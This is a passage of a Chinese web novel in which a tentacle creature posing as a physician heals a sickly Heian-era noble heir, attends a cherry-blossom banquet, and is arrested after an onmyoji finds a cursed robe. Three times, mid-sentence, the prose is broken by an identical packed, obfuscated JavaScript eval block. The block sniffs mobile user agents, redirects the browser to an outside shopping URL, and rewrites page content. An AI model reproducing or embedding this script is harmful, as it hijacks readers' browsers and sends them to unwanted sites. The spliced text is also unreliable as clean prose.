他靠在床上,脸色比昨晚好了许多,只是眉眼间还有一丝倦意。看见清空进来,他下意识地别开脸,耳尖微微泛红——显然想起了昨天的事。 “你父亲来了。”清空说。 月彦的动作顿了顿。 “他来做什么?” 清空想了想:“看你。” 月彦沉默了一会儿,然后掀开被子下床。清空注意到他的动作比之前流畅了许多,走到衣架前拿起外袍时,甚至不需要扶任何东西。 清空歪了歪头:“需要我帮忙穿吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360933|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 月彦背对着他,声音闷闷的:“你不会穿。上次你帮我穿成什么样,自己心里没数吗?” 清空想起第一次给月彦穿衣服时的情形——确实乱七八糟。 还是把侍女叫进来帮忙了。 “你也穿件正式些的,打扮得像个砍柴的伙夫,难看死了。” 清空:“……” 月彦把一件衣服丢过来:“穿这套。” 似乎是月彦自己的衣服,看着很贵。清空比月彦要高一截,但穿上竟然正好。他没多想,便要出门。 “等等。”月彦喊他回去,手指抓住衣带整理,“连衣服都不会穿,你真是个野人。” 正厅里,月彦的父亲坐在上首。 是个四十多岁的中年人,保养得很好,面容和月彦有几分相似,只是眉眼间多了几分久居高位者的威严。看见月彦走进来,他站起身,脸上露出恰到好处的笑容。 “月彦。”他走过来,双手扶住月彦的肩膀,“听说你昨日出门了?身体可还吃得消?” 月彦垂下眼:“劳父亲挂念,我没事。” “没事就好,没事就好。”家主拍了拍他的肩,目光在他脸上停留了一会儿。 然后他转向清空。 “清空医师。”笑容更真诚了几分,甚至微微欠身,“这些日子辛苦您了。月彦的病能有好转,全仰仗您的医术。” 清空看着他,没说话。 家主似乎并不在意他的沉默,挥了挥手,几个仆从鱼贯而入,抬进来几个箱子。打开,里面是成匹的丝绸、精致的漆器、还有几袋沉甸甸的铜钱。 “小小谢礼,不成敬意。”家主说,“等月彦彻底痊愈,另有重谢。” 清空看了一眼那些箱子,点点头:“好。” 月彦站在一旁,看着这一幕,忽然觉得有些刺眼。 他想起清空第一次来的时候说的那句话——“你父亲答应我,治好你,就把别院送给我。” 当时他觉得这个医生是个贪财的粗人。 现在他已知道,清空根本不在意这点钱财,只要肯,应该很容易就能用医术挣到钱、买房子。来治疗他,更像是择一份方便的工作。 家主已经转向了他。 “月彦,昨日你去集市了?”家主的声音里带着一丝不赞同,“你是产屋敷家的继承人,那种地方……到底不太合适。若是被人看见,难免惹人闲话。” 月彦的嘴唇抿紧了。 “我只是出去走走。”他说。 “我知道,我知道。”父亲点点头,语气又缓和下来,“你能出门,为父心里很高兴。真的高兴。” 他顿了顿,脸上的表情变得有些微妙。 “既然你身体好了不少,也该出来见见人了。家里办一场樱花宴,庆祝你身体好转,如何?请些公卿贵族们的子弟来,贺茂氏的小女儿今年……” 月彦的脸色变了。 “父亲。”他打断道,“我还没有痊愈。” “但已经能出门了,不是吗?”父亲看着他,目光里带着某种月彦熟悉的、不容拒绝的东西,“只是露个面,又不让你做什么。” 月彦的手指攥紧了衣袖。 父亲已经决定了。 “清空医师。”家主又转向清空,笑容满面,“届时也请您务必赏光。您是月彦的救命恩人,应当让更多人认识您才是。” 清空抬眼。 他不太懂人类这些弯弯绕绕:“好。” 月彦猛地抬头看他。 清空没有看他,只是对父亲点了点头。 家主满意地笑了,又叮嘱了几句,便带着人离开了。 正厅里只剩下月彦和清空两个人。 月彦站在那里,一动不动。过了很久,他才开口,声音沙哑:“你为什么要答应?” 清空看着他:“答应什么?” “樱花宴。” “哦,我把你治好后,总得有新的收入来源。”清空想了想,“客户带我认识其他客户,很正常。” 月彦:“……”是这样。 他都快忘记清空不是他家臣,是野生的医师。 清空又问:“你不高兴,因为要和很多人见面吗?” 月彦皱着眉冷笑:“父亲根本不信我能被治好,他只是看我最近状态好,想让我早些完成婚嫁之事,生下一个更年轻、更有用的继承人。最好是和同派系的贵族,巩固地位。” “这样,原来是相亲啊。” 月彦心里无法平静:“你不生气?我父亲在质疑你的医术。” “还好吧。” “那根本不是相亲,是……” “配种?” 月彦:“……” 清空:“加油。” 10. 第十章 “加油。” 月彦猛得涌上一阵急促的尿意,他大脑空白,等反应过来后有些气急败坏。 清空昨天晚上……说了这样的词。 只是听见那两个字,小腹就微微一紧,他低头看了看自己,脸色白了又红,红了又白。 “……混蛋。” 他咬着牙骂了一句。 清空打着哈欠,只感到春困。 今日小雨。 池塘已经挖完了,放了水,雨水淅淅沥沥。也许过一段时间,水就会变清澈。 清空想要在里面养点鱼,这样他在池塘里面有鱼的时候能生吃活鱼,想想就很愉快。 一下雨,天气就急转直下,冷了起来。月彦房间里点了暖炉,燃着熏香的气味。 肉眼可见的,他心情也急转直下,没人敢惹他。 清空闷闷地犯困,不知道月彦在生什么气。不过他知道自己出生的时候母亲也很破防,可能配种就是这样的吧,会让人类不高兴。 而且月彦身体还没痊愈呢,如此弱小可怜的一具身体,配种大抵是会很辛苦吧。 晚餐过后他端了药过去,想了想,推销了一句:“我知道,一个百分百让人怀孕的方法,我还有药。” 月彦发了这个月最大的一次火,砸了东西,乒铃乓啷。 “滚!!!!” …… 这两天,月彦都没睡好。 第三日,家里的马车准点到来,而他和清空上了车。 产屋敷家的宅邸。 樱花宴设在庭院中最大的那棵樱树下。树下铺着锦缎,矮几上摆满了时令的果品和精致的点心。灯笼挂在枝头,等夜里点灯,便能将满树樱花映成一片温柔的粉白。 空气中弥漫着酒香、花香,和贵族们低低的谈笑声。 清空站在角落里,看着这一切。 他已经换了一身衣服——是月彦父亲让人送来的,深青色的直衣,料子很好,穿着也很合身。 他看着挺喜欢的,感觉自己更像人类了。 有人端着酒杯走过来。 “您就是清空医师吧?”来人是个中年贵族,笑容满面,“久仰久仰,听说月彦少爷的病是您治好的?真是少年英才啊。” 清空看着他,点了点头。 中年男人抛来羞耻又暧昧的目光,要和他约个时间见面。清空很熟悉,八成是有隐疾。 他捏出一个标准的笑:“没问题的。” 而后继续坐在角落,看着人群。 他看见了月彦的父亲。家主站在几个贵族中间,正笑着说什么,十分的咬文嚼字,令触手头大。 视线又落在月彦身上。 月彦穿着一身月白色的直衣,外罩薄如蝉翼,衣摆上绣着精致的家纹。乌黑的长发束起,露出苍白的后颈。腰间挂着佩玉,行动间叮当作响。 家里办的樱花宴,他需要穿得正式些,清空送的那条衣服是穿不了的。 正因如此,他显得有些虚弱,好在樱花宴不需要频繁走动,喝了药之后像是个大病初愈的少年。 站在那里,微微侧着头,听旁边的人说话。唇角带着一点淡淡的弧度,既不疏离也不过分亲近的笑,一切都恰到好处。 有人说了什么,他便轻轻点头,用那种清空从未听过的、温润如玉的声音应一句。 像一个真正的贵族少爷。风雅的,得体的,从容的,挑不出一点错处的。 和昨天晚上因为排毒尖叫哭喊的人完全不一样。 “月彦少爷气色真好。” “听说能出门走动了?真是可喜可贺。” 清空收回视线,看着案几上的茶点,感觉一阵无力。 长得倒是精巧可爱,一闻全是触手不爱吃的东西。 他一整天都要坐在这里听贵族们叽叽喳喳、然后装模作样吃小点心吗? 好命苦。 酒过三巡,有人提议作诗。 这是贵族宴会的惯例。以樱花为题,每人吟一首和歌,由在场的人品评优劣。 月彦端着酒杯,因为病才好,里面倒的只是茶水。他站在人群中心,看着那些人一个一个地吟诗,一个都没听进去。 他在想清空。 医生没什么人脉,虽然被请来,是贵客,却坐在边缘的位置。人一多,月彦几乎看不见他。 “月彦少爷。”有人唤他,“该您了。” 月彦回过神,发现所有人都看着他。 他放下酒杯,往前走了两步,站在樱树下。灯光透过花瓣落下来,在他脸上投下斑驳的影。 他抬起头,看着那满树的粉白,沉默了一会儿: “春夜樱吹雪 十年病榻不知春 今宵见月明” 不论别人觉得好不好,只因这是他吟的,就有人涌来夸赞。 月彦稍微有些累了,称病要休息一会儿,却没真的休息,而是走向角落。 他记得清空在樱花树的另一头。 也不知道这个乡野鄙夫在这种风雅宴会,在做什么。该不会是在打盹吧?他抱了嘲笑的心思。 近了,才发现清空竟然不是孤身一人,被女眷围住,嬉笑着。还有人酸溜溜地盯过来。 清空坐在中间,一脸严肃。 月彦有些意外,瞥了眼,讶异道:“你也写了和歌?给我看看?” 他伸手拿过清空手里的纸。 “点心太难吃 三顿饭都吃不饱 好饿真好饿” 月彦:“……” 最饭桶。 他现在知道那些女眷在笑什么了,这狗屁不通的东西实在是…… 未免也太文盲了吧? 他皱眉:“你这……” “哈哈哈……”有妇人用帕子捂着唇,“月彦大人,您就别笑他了。” 月彦有些意外,清空在这里的人缘居然很好。但转念一想,这人受欢迎确实正常。 首先是个挺厉害的医生。 长相也说得过去,虽然不是当下贵族间流行的俊秀长相。眉骨很高,眼窝微微下陷,鼻梁挺直,下颌线条凌厉,嘴唇薄薄的,抿起来的时候显得有点冷。 看着有点凶,不像医生,没准穿上盔甲更像武士——不对,没那么正气。 但他不说话的时候,又有一种奇怪的……干净。 身上从没有恹恹的、喘不过气的感觉。 坐着在树下,背挺得很直。深青色的直衣,布料贴着他的肩膀,勾勒出下面结实的轮廓,衬得肩背宽阔,让人能感觉到那具身体里蕴含的力量。 袖口露出的手腕,肤色是健康的白,骨节分明,能看见隐隐的青色血管。 月彦想起那只手握住他手腕时的感觉。 微凉,有力,很稳当。 他又想起昨晚,那双手抱着他的时候。 月彦别开目光。 真令人不爽,有这么一副健康的身体,哪怕脑子空空,凭样貌都能讨人喜欢。 才过来没多久,家主便来找月彦回去,说是要介绍人认识一下。 和在家不同,月彦并未在外流露任何不满的情绪,轻轻点头,便过去了。 也可能是够累了。 樱花宴办的时间比清空想象的长,从下午到晚上。 其实他觉得……这样对病人不好。 但月彦坚持。 入夜后,宴席渐渐散了。清空不用离开,而是和月彦一起留在宅邸里,不回别院了。 身旁衣着华贵的妇人站起来,也要离开了。 她感叹:“没想到月彦的病真能治好啊。” 清空:“?” 他从她的语气里听出了一种奇怪的情绪,不是那种祝福感叹的。 一名身材高大的、穿着白色狩衣的男性走过来,似乎是来接妇人的。 清空看了他一眼。 印象里,这是阴阳师会有的打扮。他小时候当野生触手时,见过前来除妖的阴阳师,他还把他们吊起来玩呢。 男人身后冒出来一只人类女性,看着年纪还小,矮矮的。妇人伸出手,牵住了女孩。 清空歪了歪头。他对这只人类有印象,这是月彦的相亲对象。 贺茂……贺茂家的小女儿。 她家人是阴阳师呀。 他站起来,按照人类的礼节,稀里哗啦地和人道别。 等他坐回去,又遇到了一个陌生人类,年纪不大,看着和月彦差不多,穿着一样家纹的衣服。 虽然家主只有月彦一个孩子,但家大业大,旁系有不少孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364701|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年恭恭敬敬向他行礼,进行了一些清空听不懂的寒暄,而后问:“月彦哥哥真能痊愈吗?” 清空:“当然,最多两个月。” 少年:“谢谢您。” 他离开了。 但清空更感疑惑。 等宴会彻底结束,月彦才回到他这里,褪去了那些优雅高贵的贵族气质,一声不吭,拉着清空回房间休息。 看起来是累坏了。 在睡前,清空问出了自己的疑惑:“这是庆祝你变得健康而办的宴会,是吗?” “哼……”月彦没有肯定也没有否定。 清空继续问:“为什么,我和别人说你会痊愈,不是所有人都感到高兴?” 这下月彦笑了。 他笑得几乎喘不过气,闷闷地咳嗽起来。 清空:“?” 他拍着人的后背,并不想看小少爷在这种时候旧疾复发。 “咳、咳……”月彦趴在他身上,下巴尖抵着他肩膀,眯起眼睛,声音里带着微妙的恶意,“你不喜欢吗?” “喜欢什么?” “我一直这样生着病,你不必找新的工作,我会一直支付你报酬。”他几乎是咬着清空耳朵说的,声音十分微弱,“你可以成为我家的医生,我的医生。” “等我继承了家产,没准心情好了,两腿一蹬前把所有的财产都留给你。房子,土地,要什么有什么。只要你治疗我,却不治好我。” 清空:“我已经得到自己想要的房子了。” 月彦猛地把他推开,神情恹恹:“没意思。” 清空:“嗯……” “我生着病,有人能得到更多的利益,懂吗?” “不懂。”清空换了话题,“你相亲对象,家里是阴阳师?” “是。父亲想要获得阴阳师一系的支持。”月彦自嘲道,“她家可不一定看得上我们。” 他敏锐地察觉到清空的态度,这人是很少主动找话题聊天的,于是问:“你对阴阳师感兴趣?” 清空的医术,还有那种奇怪的印记,没准儿学阴阳术也会很有天赋。不过阴阳寮不是什么人都能进去的地方,月彦恶意地想着,如果清空想进去工作,就得求他帮忙引荐。 清空才不想进去。 他摇摇头:“只是好奇。”毕竟接触过。 他又问:“咒术师相关呢?” …… 樱花落下。 牛车上,妇人把清空写的文盲和歌当笑话,念给另两人听。接触下来,她对这个年轻医生的印象很好,而且也确实很有本事。她笃定这个医师会大有前途。 穿着狩衣的阴阳师却沉默许久:“他给我很不好的感觉。” “这什么意思?” 男人摇摇头:“看不透。但……像是杀过人的。” 妇人想了想:“确实长得凶。不过,人既然在这里当医生,就别太纠结以前的事。” 男人点点头。 但还是……有些隐隐的不安。 若是匪徒恶人,倒也无所谓,可要是潜伏在平安京的妖物…… 女孩听了一路,忽得说:“月彦大人应该很喜欢他。” “嗯?你今天和月彦在一起吧,说说?” “月彦大人,有事没事就往医生的方向看。”小女孩老实回答了。 阴阳师点点头。 “毕竟是他的救命恩人嘛。” 月彦父亲如是说。 清空迷迷糊糊地被抓着手,又被塞了些礼物。 他是给月彦家人催眠过,但他只是拉了拉好感度,获得医生该有的话语权,让他们同意自己和月彦能搬到别院。 至于这么热情么。 他好不容易回到车上,车轮轱辘转着,将樱花碾碎。 已经是早上,用过了非常难吃的早餐后,他就和月彦回别院了。 清空半睁着眼,仍然迷迷糊糊,看着月彦跪坐在车窗边,掀起帘子往外面看。用胳膊撑着脸,黑色的发丝被风撩起,粘上了两片轻盈的樱花。 “真美啊……”他感叹着。 “嗯、嗯……”清空敷衍点头,心想昨天一整天都在赏樱作诗,赏得够多了。 他打了个大大的哈欠,宣布道:“我要睡觉。” 11. 第十一章 清空想睡觉了。 他有些犹豫,他真正睡一觉,保底也会有个三天三夜。 他很担心小少爷,在吃药的事情上又乱来。 可他又实在困了,嘱咐都颠三倒四的。 月彦有点无语:“你真把我当小孩了?” “而且……你睡觉还要特意说一声?难道你平常不睡?” “这次不一样。我恐怕需要休息几天,几天都不会有精力起来。” 月彦惊讶:“不会饿死?” “不会……”清空糊弄道,“我出生开始就这样了,这是隐疾,治不好,平常也不影响。我睡着了会比较……比较像死了,不用管我,别打扰就行了。” 月彦:“……” 他仿佛猜到了清空被人抛弃的真相。 他高傲地扬起脸,一副主人做派:“我允许你去休息了。” 清空点点头,又担心道:“我不在,你别自己出门,万一又……” 月彦猛地恼怒起来:“我才不会、没那么急着出去!” …… 清空说睡就睡,回自己房间躺下了。 第二日,侍女端来了早餐和药。 食物吃起来和以往口味区别挺大,月彦才对清空休息有了彻底的实感。 他穿上清空送的衣服,推开门,走了出去——当然只是在别院里转转。 外面很安静。 池塘静静的,水面映着日光。 兔笼里,几只兔子缩成一团,刚种下的菜苗在风中轻轻摇晃。羊被绳子牵住了脖子,对菜苗望眼欲穿。 紫藤花的架子搭好了,藤蔓刚刚爬上去一点,还看不出以后会是什么样子。 月彦沿着廊下慢慢走。 他走到池塘边,站了一会儿。 池塘挖得很深,放了水,还没养鱼。 走过菜地,走过花架,月彦忽然停住脚步。 他站在院子中央,环顾四周。 这个院子,曾经是死气沉沉的。 他来的时候,这里只有风雅闲寂的枯山水,地上是石头和砂砾,按规矩修剪过的、一动不动的松树。屋檐圈起一方天空,像一口棺材。 挺配他。 他轻轻笑起来,自嘲着。 但现在,院子变得乱糟糟的,被强行塞进来一大堆充满活力的东西。 倒也,不讨厌。 莫名的好心情持续到晚上。 月彦发现,他有点吃不习惯侍女做的饭了,不好吃。 年长的侍女恭敬跪在地上道歉,今天是她做的饭,其实手艺还行,似乎专门和清空学过,但完全比不上。道完歉,侍女又小心翼翼地询问,是否要将厨师请回来。 月彦却摇头,只让她出门去酒楼买些吃的回来。 没多久,侍女提着食盒回来了。 精美的食物摆在桌上。 他倚在桌边,手指有一搭没一搭地敲着桌面。 “葵,把院子里所有人都叫过来。” 没多久,所有人都跪在了院子中。 月彦坐在廊下,垂着眼看他们。 黄昏的日光落在青石板上,照出那些低垂的头颅和紧绷的肩膀。一共六个人——两个侍女,三个杂役,一个车夫。 都在这个院子里生活了快一个月。 原先还有个厨师,但早就赶走了。 月彦的手指轻轻摩挲着袖口,羽织温顺地贴着他的皮肤。 他开口,声音不轻不重:“我去集市的事,父亲知道了。” 没有人抬头。 “他来得很快,太快了。”月彦继续说,“我前脚刚出门,他第二日就到了。消息传得真快。” 还是没有人说话。 月彦的目光从那些人头顶一一扫过。葵跪在最前面,低着头,肩膀绷得笔直。她旁边是另一个侍女,年纪小些,已经在轻轻发抖。 “我知道是你们中的一个,或者更多。”月彦说,“主家那边要消息,你们不敢不给。我不怪你们想活着。” 他的声音很平静,甚至带着一点慵懒。 可还是,叫人后背发凉。 “但你们忘了,这个院子现在归谁管。” 月彦站起身。 年纪小的侍女几乎要哭出来了。侍女是贴身服侍的人,很多事情都知道,甚至知道清空有时候会留在月彦房里一整晚,第二日来收拾要换洗的衣服和床单。 那些耻辱的事,没准她们全都知道。 他猛地抓起食盒边的茶杯,砸向院子中。 随着一声尖叫,所有人都跪伏了下去。 车夫捂着被茶杯划伤的额头,沉默不语。 他和清空都不是会和别人聊自己日常琐事的人,只有车夫才知道他们那天去了集市。 月彦露出一个阴测测的、毫无笑意的笑:“滚。” 车夫是他父亲的人,他一时半会儿没法处理。 月彦随手指了一个杂役:“你以后就是新的车夫了。” 心情差,坐回去吃饭,发现酒楼的饭也没清空做的好吃,心情更差了。 他看着院子里的其他人。 也不能完全保证这些人就会听话。他想着。他需要自己人。 马上要变健康了,压在身上十几年如一日的压力骤然消失不见,其他的压力却接踵而来。 一个注定要早死的人,活过来了。 月彦在心里冷冷地笑。他现在除了死,什么都不怕了。 …… 第二日,有客来访。 月彦并不需要思考,客人是如何得知他在别院的。 因为来的人是贺茂家的。 九成九是父亲透露。 身为阴阳师的男人对着月彦笑了笑。牵着贺茂家的小女儿,这是他的侄女。月彦知道男人的身份,贺茂宪通,在阴阳寮内权力不小,擅长占卜、观星。 当下,哪怕同样阶级的官职,阴阳师都是要更受尊敬一些的。 这似乎只是一次寻常的拜访。 但寒暄结束后,男人就坐了下来,大有一种要留在这里让侄女玩一个下午的感觉 月彦:“……” 他并未有任何谈情说爱的心思。他知道自己的身份,势必要联姻,但急于联姻稳固地位、拉拢阴阳师一脉的是他父亲,不是他。 他觉得父亲无能且昏庸。 因他出生起就保持着死人微活的状态,父亲又没有其他子嗣。在月彦八九岁时,就被安排了一个未婚妻。 父亲是希望他早些生一个继承人出来的。 哪怕,他的身体状况摇摇欲坠。 只要留下血脉,死了也不要紧。父亲大抵是这样想的。左右不死也是个废人,整日只能被养着。 早早死了,倒还能光明正大收养一个继子。晚些死,那就多生点。 月彦不知道未婚妻家庭的想法。 但,总不可能是图他这人才结下契约。 他死了,自己孩子能立刻继承产屋敷家的事业、地位。 因这样那样的原因,他不只有过一个未婚妻,甚至因为他的责骂,有人选择了结束自己的性命。他名声一定是烂完了。 即便如此,父亲仍然能给他找到新的未婚妻。 仍然有人愿意将自己的女儿推过来。 “贺茂家的宅子离这里不远,”男人开口,语气随意,“早就听说产屋敷家的少爷搬到了这处别院休养,一直想来拜访,又怕叨扰。” 月彦放下茶杯,唇角浮起个得体的弧度:“您客气了。晚辈身体不便,本该是我去拜访您才是。” 男人笑了笑,谁都知道月彦之前身体情况,拜访别人是不可能的。 他目光在月彦脸上停留了一瞬。 “气色确实好了很多。”他说,“这院子,也很别致。” 院子里,他侄女蹲在兔笼前,正专心地看着那些兔子。院子里杂七杂八什么都有,和产屋敷主家的布置完全不一样。 男人收回目光,又看向月彦。 这小少爷,和传闻的很不一样了。或许是病要治好了,精气神全都变了个样。 他切入正题。 “清空大人年纪轻轻就有这样的医术,真是难得。”他说,“不知师承何处?” “不清楚。”月彦说,“他没提过。” “这样……”男人沉吟了一下,“那他平时住在哪里?就在这别院里?” 月彦抬眼看他。 倏然笑了:“您要找他,大可不必这么委婉,我当了十多年的病人,自然知道其中辛苦。” 刻意压低了点声音,摆出一张忧愁的脸:“要是有什么隐疾,务必对医生诚实呀。” 贺茂宪通:“……” 真不讨人喜欢啊。 但他为那医师而来,这借口倒也合适,便顺着说:“是有些不为人道的隐疾,想见见那位医师。” “这恐怕不行。”月彦见他承认了,有点兴致缺缺,“他现在见不了人。” “哦?”贺茂宪通问,“为何?” “医师自己病了。” “这可真是……”太巧了,贺茂宪通几乎以为是对面装病躲着。但看小少爷郁郁的表情,又觉得是真的,“愿他早日康复。” …… 月彦发现,贺茂家这次过来,确实不是来为了联姻。 似乎,更多是为了清空。 父亲看上的“未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368148|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚妻”今年年纪不过十二,把兔子抱在怀里玩了半天,走的时候还依依不舍。 月彦问她:“你喜欢兔子吗?” 小女孩猛猛点头,眼睛都亮起来了:“可以……” “不给。”他惋惜道,“我也很想给,可这不是我的兔子。是清空买来做红烧兔肉的,他做饭很好吃。” 小女孩同手同脚地走开去了,整张脸委屈地扭在一起。 贺茂宪通看在眼里。 他觉得这少爷虽然挺聪慧,但气性大,心眼小,不是良配。 也无所谓。他家又没必要和他们结亲。 他只是难压心里的不安,过来看看。 快到晚饭时间,贺茂宪通便拉着侄女的手,告别。 月彦礼貌地出去送客。 他披着清空送他的羽织, 黄昏的光落在青石板上,把他整个人笼在一层薄薄的金色里。身形单薄,肩胛骨的轮廓隔着衣料也能看见。风从门口吹进来,撩起他散落的几缕黑发,拂过脸颊,又落回肩上。 清秀,尚带着一丝病气,也掩盖不了属于少年人的灵活狡黠。 羽织在光下隐隐透出绯色的、血管似的纹路。 贺茂宪通:“……” 他伫立良久。 久到侄女拉了拉他手,而月彦也露出狐疑的表情:“可有什么事?” 贺茂宪通的表情迅速变换了,从邻家长辈来看望的态度,变成了公事公办的阴阳师,眼神凌厉,低喝道:“你衣服有问题!” …… 事态扩散的速度,比月彦想的快很多。 别院灯火通明。 羽织被脱下。父亲也来了。 一开始,父亲还施压了几句,不希望这件事被扩散,有损家族名誉。 当下淫祀盛行,巫祝之徒妄说祸福,庶民仰信妖言,朝廷曾多次下令禁止淫祀、厌咒之术,违者流放远国。 虽然他家似乎是受害者,可谁知道……会被有心之人如何扩散。 甚至,月彦父亲认为,没准儿是贺茂家刁难来了。 可随着其他阴阳师的到场,羽织被确认有问题,他便沉默下去。 月彦身上胡乱披了一件外套,肩膀被父亲牢牢抓住。 “那医师在哪?” “在……” 月彦大脑有些乱,看着那件羽织被扔在地上,阴阳师们围着它念咒——他们说,这是依附了妖邪力量的凭物。 他其实,知道。 早就知道。 从小受的教育,月彦并非没有听说过这些厌咒之术,但他并不抗拒,为了治病,也曾尝试过。况且他对朝廷之上的人也没有敬畏之心,律令什么的……只要查不到他头上,根本无所谓。 清空送他的衣服,能帮他,这就足够了。 可现在…… 羽织被符咒点的火烧着,在灯笼和火把的光芒下,扭曲挣扎,被钉回原地。 清空送他的礼物,成了一捧丑陋的灰烬。 而随着一声巨响,去抓捕清空的人似乎出了问题。 …… “小心些!”阴阳师们做足了准备。 但推开门,只看见一个青年躺在床上,对他们进来并没有任何反应。 装睡? 经过一番紧张的试探,有人抓住清空的头发,粗暴拿起—— “啊!” “怎么了?” “他怎么……这么凉?” “别是死了吧……好像还活着。” 头发被抓住,粗暴地拖起来,饶是清空进入了休眠状态,也被吵醒了。 他很迷茫。 面前站着几个陌生人类,见他睁开眼,如临大敌。 且叽里呱啦。 “……以医术为名,实则对产屋敷家的继承人施加厌咒之术……诅咒……” 什么。 清空瞬间清醒了一截。 诅咒?他是诅咒之王子嗣兼下属的事情暴露了? 有人拥上来,要把他压制住。 清空也没多想,挣扎了一下,将人推开了。 冲到门外,才发现人挤人挤人挤人。 好多人啊。 清空更加茫然。 “人证物证俱在,你诅咒月彦少爷一事……” 清空:“哈?咒术,我没学过啊。” 他在人群中看见了月彦,场上为数不多的熟人:“我……” 后背被砸了一下,他被人压住。 倒是不疼,力度也很轻,他想挣脱随时都能挣脱,但那样的话……他应该不太能当人了。 清空沉默下去。 就这样,触手响当当地进狱了。 12. 第十二章 月彦站在原地,看着清空的背影被人群吞没。 他嘴唇动了动。 父亲的手还牢牢按在他肩上。那只手很用力,像是在提醒他——别动,别做任何会让事情变得更糟的事。 月彦很理智,所以他没有动。厌咒之术事关重大,他现在必须维持自己纯粹是受害者的身份。 他只能看着。 人群渐渐远去。火把的光芒也消失了。院子里重新安静下来,只剩下池塘里偶尔的水声,和兔子在笼子里不安的扑腾。 月彦还站在原地。 父亲的手从他肩上移开了。几个阴阳师留了下来,正在搜查院子里其他地方。 清空房间里的药材药物制品,自然也一并带走了。 忽有人汇报:“地窖里有些……” 其实也没什么,吃得差不多了,几头野货。天皇禁令之下,仍有人会私下开开荤。贵族借着进补名头吃点鹿肉、野猪肉再正常不过。但现在被查出来,事可大可小。 其他并没有发现什么异样。 院中仆从都已经被带走。若非月彦是贵族,他也该被一并捉了,细细审问。 人渐渐散了。 “啪。” 月彦整个人向一侧栽去。 脸上火辣辣的疼,耳朵里嗡嗡作响。他摔在地上,手掌擦过青石板,蹭破了皮。血腥气涌上舌尖,他尝到了铁锈的味道。 父亲站在他面前,居高临下地看着他。 那张脸上并没有愤怒,更多是生硬的冰冷表情。 是他给产屋敷家丢脸了。 “你知道那衣服有问题么。” 月彦捂着脸,慢慢撑起身体。他没有站起来,只是跪坐在那里,低着头,散落的黑发遮住了半张脸。 “你不知道。”父亲替他回答了,也只能有这一个回答,“要是你知道,还穿着它招摇过市。你是想让整个平安京都知道,产屋敷家的继承人和巫医同流合污吗?” 月彦没有说话。 他的脸颊在发烫,手掌在流血,膝盖硌在青石板上,疼得发麻。 明明,是父亲将清空找来给他治病的。 “真是个只会赔钱丢脸的玩意儿。” 父亲冷冷看着他,转身离开。 只剩月彦一个人跪在院子里。 仆从,也全都被带走了。破天荒的,他身边竟无一人。 他慢慢站起来。 一步一步走回房间。 …… 狱中。 清空靠墙坐着,看着头顶那扇小小的窗。 窗很高,透进来的光是灰白色的,方方正正,他已经在这里待了几天——大概是四天。 四天没吃东西。 最开始是没给,后来给了些食物清水,实在是……难以下咽。他连装一下都懒,只喝水。 反正,人类也可以持续几天只喝水不吃饭。 门口传来脚步声。锁链响动,铁门被推开。 “出来。” 清空站起来,跟着那个狱卒走出去。 审讯室不大,一张矮几,两个坐垫。对面坐着的是贺茂宪通,旁边还有一个记录的书吏。 一般不在这儿审,但今天来的是高贵的阴阳师大人,总不能叫他看那些烂糟糟充满污血的地方。 清空在垫子上坐下。 贺茂宪通看着他,目光复杂。 这几天他们把清空的住处翻了个底朝天。除了那几头野味什么都没找到——那是违禁,但不算什么大事。 没有诅咒用的偶人、符咒、蛊毒,当然也没有其他的厌胜之物。 那些瓶瓶罐罐里的东西,请了几个医师来看,都说没什么问题,有的安神,有的暖身,有的滋补——虽然说尝不出配方,但药效都没问题。 “清空。”贺茂宪通开口,“你是哪里人?” 清空报了个地名。 “父母呢?” “不熟。”清空想了想,添加了一句,“我是被他们扔掉的。” 进狱前他十分担心自己爹妈诅咒之王的恶名影响到他,但他多虑了。没人发现他身份。 甚至都没人指控他不是人,只是认为他搞巫蛊、诅咒。 “师承?” “一个游方医人,叫清一郎,现在在哪我也不知道,我是跟着他来平安京的。” 贺茂宪通看着手里的文书。这些信息他们都已经查过,一切都对得上,严丝合缝。 “你来平安京多久了?” “一年多。” “都给哪些人家看过病?” 清空说了几个名字。都是贵族,也有记录可查。那些人也都被问过,都说这个医师医术不错,虽然年轻,但很可靠。 贺茂宪通放下文书,看着清空。 年轻人坐在他对面,脸上没有任何表情。不害怕也不紧张,愤怒、委屈这种被冤枉会有的表情,也没有出现在他脸上。就像是自信自己一定能出去——可他也感受不到清空身上有自信。 太平静了。平静且内敛,看不出深浅。 真有人会有这么强大的心性吗? “你知道自己为什么被抓吗?” “他们说我对月彦少爷下咒。”清空说。 “你下了吗?” “没有。” “那件衣服是怎么回事?” 